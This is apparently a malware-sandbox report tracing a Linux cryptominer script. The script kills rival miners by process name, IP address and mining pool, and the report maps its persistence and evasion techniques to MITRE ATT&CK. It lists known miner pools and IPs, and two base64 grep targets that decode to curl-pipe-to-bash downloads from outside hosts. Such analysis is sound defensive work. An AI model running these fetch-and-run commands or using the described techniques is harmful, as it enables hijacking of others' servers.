/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1389
-
-
/bin/grepgrep "\\[^"2⤵PID:1387
-
-
/bin/psps aux2⤵PID:1385
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1388
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1393
-
-
/bin/grepgrep rsync2⤵PID:1392
-
-
/bin/grepgrep -v grep2⤵PID:1391
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1394
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1390
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1398
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1399
-
-
/bin/grepgrep watchd0g2⤵PID:1397
-
-
/bin/grepgrep -v grep2⤵PID:1396
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1395
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1403
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1404
-
-
/bin/grepgrep -v grep2⤵PID:1401
-
-
/bin/psps aux2⤵PID:1400
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1402
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1402
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1402
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1402
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1402
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1402
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1402
-
-
/bin/grepgrep 158.69.133.18:82202⤵
- Disables SELinux
PID:1407
-
-
/bin/grepgrep -v grep2⤵PID:1406
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1408
-
-
/bin/psps aux2⤵PID:1405
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1409
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1413
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1414
-
-
/bin/grepgrep /tmp/java2⤵PID:1412
-
-
/bin/grepgrep -v grep2⤵PID:1411
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1410
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1418
-
-
/bin/grepgrep gitee.com2⤵PID:1417
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1419
-
-
/bin/grepgrep -v grep2⤵PID:1416
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1415
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1423
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1424
-
-
/bin/grepgrep /tmp/java2⤵PID:1422
-
-
/bin/grepgrep -v grep2⤵PID:1421
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1420
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1428
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1427
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1429
-
-
/bin/grepgrep -v grep2⤵PID:1426
-
-
/bin/psps aux2⤵PID:1425
-
-
/bin/grepgrep 89.35.39.782⤵PID:1432
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1433
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1434
-
-
/bin/grepgrep -v grep2⤵PID:1431
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1430
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1437
-
-
/bin/grepgrep -v grep2⤵PID:1436
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1438
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1439
-
-
/bin/psps aux2⤵PID:1435
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1443
-
-
/bin/grepgrep kthrotlds2⤵PID:1442
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1444
-
-
/bin/grepgrep -v grep2⤵PID:1441
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1440
-
-
/bin/grepgrep ksoftirqds2⤵PID:1447
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1448
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1449
-
-
/bin/grepgrep -v grep2⤵PID:1446
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1445
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1454
-
-
/bin/grepgrep -v grep2⤵PID:1451
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1453
-
-
/bin/grepgrep netdns2⤵PID:1452
-
-
/bin/psps aux2⤵PID:1450
-
-
/bin/grepgrep watchdogs2⤵PID:1457
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1458
-
-
/bin/grepgrep -v grep2⤵PID:1456
-
-
/bin/psps aux2⤵PID:1455
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1459
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1463
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1464
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:1462
-
-
/bin/grepgrep -v grep2⤵PID:1461
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1460
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1468
-
-
/bin/grepgrep kinsing2⤵PID:1467
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1469
-
-
/bin/grepgrep -v grep2⤵PID:1466
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1465
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1473
-
-
/bin/grepgrep redis22⤵PID:1472
-
-
/bin/grepgrep -v grep2⤵PID:1471
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1474
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1470
-
-
/bin/grepgrep -v aux2⤵PID:1477
-
-
/bin/grepgrep -v grep2⤵PID:1476
-
-
/bin/grepgrep " ps"2⤵PID:1478
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1479
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1475
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1480
-
-
/bin/grepgrep sync_supers2⤵PID:1483
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1485
-
-
/bin/grepgrep -v grep2⤵PID:1482
-
-
/usr/bin/cutcut -c 9-152⤵PID:1484
-
-
/bin/psps aux2⤵PID:1481
-
-
/usr/bin/cutcut -c 9-152⤵PID:1489
-
-
/bin/grepgrep cpuset2⤵PID:1488
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1490
-
-
/bin/grepgrep -v grep2⤵PID:1487
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1486
-
-
/bin/grepgrep -v aux2⤵PID:1493
-
-
/bin/grepgrep "x]"2⤵PID:1494
-
-
/bin/grepgrep -v grep2⤵PID:1492
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1495
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1496
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1491
-
-
/bin/grepgrep -v aux2⤵PID:1499
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1501
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1502
-
-
/bin/grepgrep -v grep2⤵PID:1498
-
-
/bin/grepgrep "sh] <"2⤵PID:1500
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1497
-
-
/bin/grepgrep " \\[]"2⤵PID:1506
-
-
/bin/grepgrep -v aux2⤵PID:1505
-
-
/bin/grepgrep -v grep2⤵PID:1504
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1507
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1508
-
-
/bin/psps aux2⤵PID:1503
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1512
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1511
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1513
-
-
/bin/grepgrep -v grep2⤵PID:1510
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1509
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1516
-
-
/bin/grepgrep -v grep2⤵PID:1515
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1517
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1518
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1514
-
-
/bin/grepgrep hahwNEdB2⤵PID:1521
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1523
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1522
-
-
/bin/grepgrep -v grep2⤵PID:1520
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1519
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1526
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1527
-
-
/bin/grepgrep -v grep2⤵PID:1525
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1528
-
-
/bin/psps aux2⤵PID:1524
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1532
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1531
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1533
-
-
/bin/grepgrep -v grep2⤵PID:1530
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1529
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1537
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1536
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1538
-
-
/bin/grepgrep -v grep2⤵PID:1535
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1534
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1541
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1542
-
-
/bin/grepgrep -v grep2⤵PID:1540
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1543
-
-
/bin/psps aux2⤵PID:1539
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1547
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1546
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1548
-
-
/bin/grepgrep -v grep2⤵PID:1545
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1544
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1552
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1551
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1553
-
-
/bin/grepgrep -v grep2⤵PID:1550
-
-
/bin/psps aux2⤵PID:1549
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1557
-
-
/bin/grepgrep sustse2⤵PID:1556
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1558
-
-
/bin/grepgrep -v grep2⤵PID:1555
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1554
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1562
-
-
/bin/grepgrep sustse32⤵PID:1561
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1563
-
-
/bin/grepgrep -v grep2⤵PID:1560
-
-
/bin/psps aux2⤵PID:1559
-
-
/bin/grepgrep wget2⤵PID:1567
-
-
/bin/grepgrep mr.sh2⤵PID:1566
-
-
/bin/grepgrep -v grep2⤵PID:1565
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1568
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1569
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1564
-
-
/bin/grepgrep mr.sh2⤵PID:1572
-
-
/bin/grepgrep curl2⤵PID:1573
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1574
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1575
-
-
/bin/grepgrep -v grep2⤵PID:1571
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1570
-
-
/bin/grepgrep wget2⤵PID:1579
-
-
/bin/grepgrep 2mr.sh2⤵PID:1578
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1580
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1581
-
-
/bin/grepgrep -v grep2⤵PID:1577
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1576
-
-
/bin/grepgrep curl2⤵PID:1585
-
-
/bin/grepgrep 2mr.sh2⤵PID:1584
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1586
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1587
-
-
/bin/grepgrep -v grep2⤵PID:1583
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1582
-
-
/bin/grepgrep wget2⤵PID:1591
-
-
/bin/grepgrep cr5.sh2⤵PID:1590
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1592
-
-
/bin/grepgrep -v grep2⤵PID:1589
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1593
-
-
/bin/psps aux2⤵PID:1588
-
-
/bin/grepgrep curl2⤵PID:1597
-
-
/bin/grepgrep cr5.sh2⤵PID:1596
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1598
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1599
-
-
/bin/grepgrep -v grep2⤵PID:1595
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1594
-
-
/bin/grepgrep logo9.jpg2⤵PID:1602
-
-
/bin/grepgrep wget2⤵PID:1603
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1604
-
-
/bin/grepgrep -v grep2⤵PID:1601
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1605
-
-
/bin/psps aux2⤵PID:1600
-
-
/bin/grepgrep curl2⤵PID:1609
-
-
/bin/grepgrep logo9.jpg2⤵PID:1608
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1610
-
-
/bin/grepgrep -v grep2⤵PID:1607
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1611
-
-
/bin/psps aux2⤵PID:1606
-
-
/bin/grepgrep j2.conf2⤵PID:1614
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1616
-
-
/bin/grepgrep -v grep2⤵PID:1613
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1612
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1615
-
-
/bin/grepgrep wget2⤵PID:1620
-
-
/bin/grepgrep luk-cpu2⤵PID:1619
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1621
-
-
/bin/grepgrep -v grep2⤵PID:1618
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1622
-
-
/bin/psps aux2⤵PID:1617
-
-
/bin/grepgrep curl2⤵PID:1626
-
-
/bin/grepgrep luk-cpu2⤵PID:1625
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1627
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1628
-
-
/bin/grepgrep -v grep2⤵PID:1624
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1623
-
-
/bin/grepgrep wget2⤵PID:1632
-
-
/bin/grepgrep ficov2⤵PID:1631
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1633
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1634
-
-
/bin/grepgrep -v grep2⤵PID:1630
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1629
-
-
/bin/grepgrep curl2⤵PID:1638
-
-
/bin/grepgrep ficov2⤵PID:1637
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1639
-
-
/bin/grepgrep -v grep2⤵PID:1636
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1640
-
-
/bin/psps aux2⤵PID:1635
-
-
/bin/grepgrep he.sh2⤵PID:1643
-
-
/bin/grepgrep -v grep2⤵PID:1642
-
-
/bin/grepgrep wget2⤵PID:1644
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1645
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1646
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1641
-
-
/bin/grepgrep curl2⤵PID:1650
-
-
/bin/grepgrep he.sh2⤵PID:1649
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1651
-
-
/bin/grepgrep -v grep2⤵PID:1648
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1652
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1647
-
-
/bin/grepgrep wget2⤵PID:1656
-
-
/bin/grepgrep miner.sh2⤵PID:1655
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1657
-
-
/bin/grepgrep -v grep2⤵PID:1654
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1658
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1653
-
-
/bin/grepgrep curl2⤵PID:1662
-
-
/bin/grepgrep miner.sh2⤵PID:1661
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1663
-
-
/bin/grepgrep -v grep2⤵PID:1660
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1664
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1659
-
-
/bin/grepgrep wget2⤵PID:1668
-
-
/bin/grepgrep nullcrew2⤵PID:1667
-
-
/bin/grepgrep -v grep2⤵PID:1666
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1669
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1670
-
-
/bin/psps aux2⤵PID:1665
-
-
/bin/grepgrep nullcrew2⤵PID:1673
-
-
/bin/grepgrep curl2⤵PID:1674
-
-
/bin/grepgrep -v grep2⤵PID:1672
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1675
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1676
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1671
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1680
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1679
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1681
-
-
/bin/grepgrep -v grep2⤵PID:1678
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1677
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1685
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1684
-
-
/bin/grepgrep -v grep2⤵PID:1683
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1686
-
-
/bin/psps aux2⤵PID:1682
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1689
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1690
-
-
/bin/grepgrep -v grep2⤵PID:1688
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1691
-
-
/bin/psps aux2⤵PID:1687
-
-
/bin/grepgrep 144.217.45.452⤵PID:1694
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1695
-
-
/bin/grepgrep -v grep2⤵PID:1693
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1696
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1692
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1699
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1700
-
-
/bin/grepgrep -v grep2⤵PID:1698
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1701
-
-
/bin/psps aux2⤵PID:1697
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1705
-
-
/bin/grepgrep 176.31.6.162⤵PID:1704
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1706
-
-
/bin/grepgrep -v grep2⤵PID:1703
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1702
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1710
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1711
-
-
/bin/grepgrep -v grep2⤵PID:1708
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1709
-
-
/bin/psps auxf2⤵PID:1707
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1714
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1715
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1716
-
-
/bin/grepgrep -v grep2⤵PID:1713
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1712
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1720
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1721
-
-
/bin/grepgrep xmr.crypto-pool.fr:80802⤵
- Disables SELinux
PID:1719
-
-
/bin/grepgrep -v grep2⤵PID:1718
-
-
/bin/psps auxf2⤵PID:1717
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1725
-
-
/bin/grepgrep xmr.crypto-pool.fr:33332⤵PID:1724
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1726
-
-
/bin/grepgrep -v grep2⤵PID:1723
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1722
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1730
-
-
/bin/grepPID:1729
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1731
-
-
/bin/grepgrep -v grep2⤵PID:1728
-
-
/bin/psps auxf2⤵PID:1727
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1735
-
-
/bin/grepgrep monerohash.com2⤵PID:1734
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1736
-
-
/bin/grepgrep -v grep2⤵PID:1733
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1732
-
-
/bin/grepgrep /tmp/a7b104c2702⤵
- Disables SELinux
PID:1739
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1740
-
-
/bin/grepgrep -v grep2⤵PID:1738
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1741
-
-
/bin/psps auxf2⤵PID:1737
-
-
/bin/grepgrep xmr.crypto-pool.fr:66662⤵PID:1744
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1745
-
-
/bin/grepgrep -v grep2⤵PID:1743
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1746
-
-
/bin/psps auxf2⤵PID:1742
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1750
-
-
/bin/grepgrep xmr.crypto-pool.fr:77772⤵PID:1749
-
-
/bin/grepgrep -v grep2⤵PID:1748
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1751
-
-
/bin/psps auxf2⤵PID:1747
-
-
/bin/grepgrep xmr.crypto-pool.fr:4432⤵PID:1754
-
-
/bin/grepgrep -v grep2⤵PID:1753
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1755
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1756
-
-
/bin/psps auxf2⤵PID:1752
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1760
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1759
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1761
-
-
/bin/grepgrep -v grep2⤵PID:1758
-
-
/bin/psps auxf2⤵PID:1757
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1764
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1765
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1766
-
-
/bin/grepgrep -v grep2⤵PID:1763
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1762
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1769
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1770
-
-
/bin/grepgrep -v grep2⤵PID:1768
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1771
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1767
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1775 -
/usr/local/sbin/killkill -9 17733⤵PID:1776
-
-
/usr/local/bin/killkill -9 17733⤵PID:1776
-
-
/usr/sbin/killkill -9 17733⤵PID:1776
-
-
/usr/bin/killkill -9 17733⤵PID:1776
-
-
/sbin/killkill -9 17733⤵PID:1776
-
-
/bin/killkill -9 17733⤵PID:1776
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1774
-
-
/bin/grepgrep xiaoyao2⤵PID:1773
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1772
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1780
-
/usr/local/sbin/killkill -9 17783⤵PID:1781
-
-
/usr/local/bin/killkill -9 17783⤵PID:1781
-
-
/usr/sbin/killkill -9 17783⤵PID:1781
-
-
/usr/bin/killkill -9 17783⤵PID:1781
-
-
/sbin/killkill -9 17783⤵PID:1781
-
-
/bin/killkill -9 17783⤵PID:1781
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1779
-
-
/bin/grepgrep xiaoxue2⤵PID:1778
-
-
/bin/psps auxf2⤵PID:1777
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1784
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1785
-
-
/bin/grepgrep 46.243.253.152⤵PID:1783
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1787
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1786
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1790
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1792
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1791
-
-
/bin/grepgrep 176.31.6.162⤵PID:1789
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1793
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1795
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1794
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1797
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵PID:1796
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1799
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Account Manipulation
1SSH Authorized Keys
1Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Privilege Escalation
Account Manipulation
1SSH Authorized Keys
1Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Defense Evasion
Deobfuscate/Decode Files or Information
1File and Directory Permissions Modification
2Linux and Mac File and Directory Permissions Modification
2Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path /bin/ps
- Size 13B
- SHA256 be167c52e59f0a02ca6841074d9e73205b2f7898ad73d405c7b96f9efb440c36
- MD5 3d47b8e895a71930bda5d4f3d8fc8589
- SHA1 efbaf468b81abb6b465ca12f35fa067bae1b4f10
- SHA512 bd109ac68d85a8451187e31b8ec62dbc062d3fa2aab866928b094b64318912c7056f42ca363b01af74b1898f84d2675f3099d1aab72140b6ba932a16257aa5eb
- MD5 SHA1 SHA512
- Path /bin/ps
- Size 52B
- SHA256 db7a08cba996d62b1fe07727ba58b98d7b59778bd7227c9b7fd69bc587d2557f
- MD5 f668da8f0525cbe5a545869cb5776913
- SHA1 996e6afed4498ff8a92a64330de018141af102c9
- SHA512 f918ba58e9af19704344c92ec356d215080f47d66b175f3d712d31e54e1b9e4e46daeb0556d82b0722ae01b8cfe456f08021e73b053ced6326735e1d0b73c700
- TLSH T16890028D05189D111A545D12A371AED5818458204B4397415478028E4191192316005E
- MD5 SHA1 SHA512 TLSH
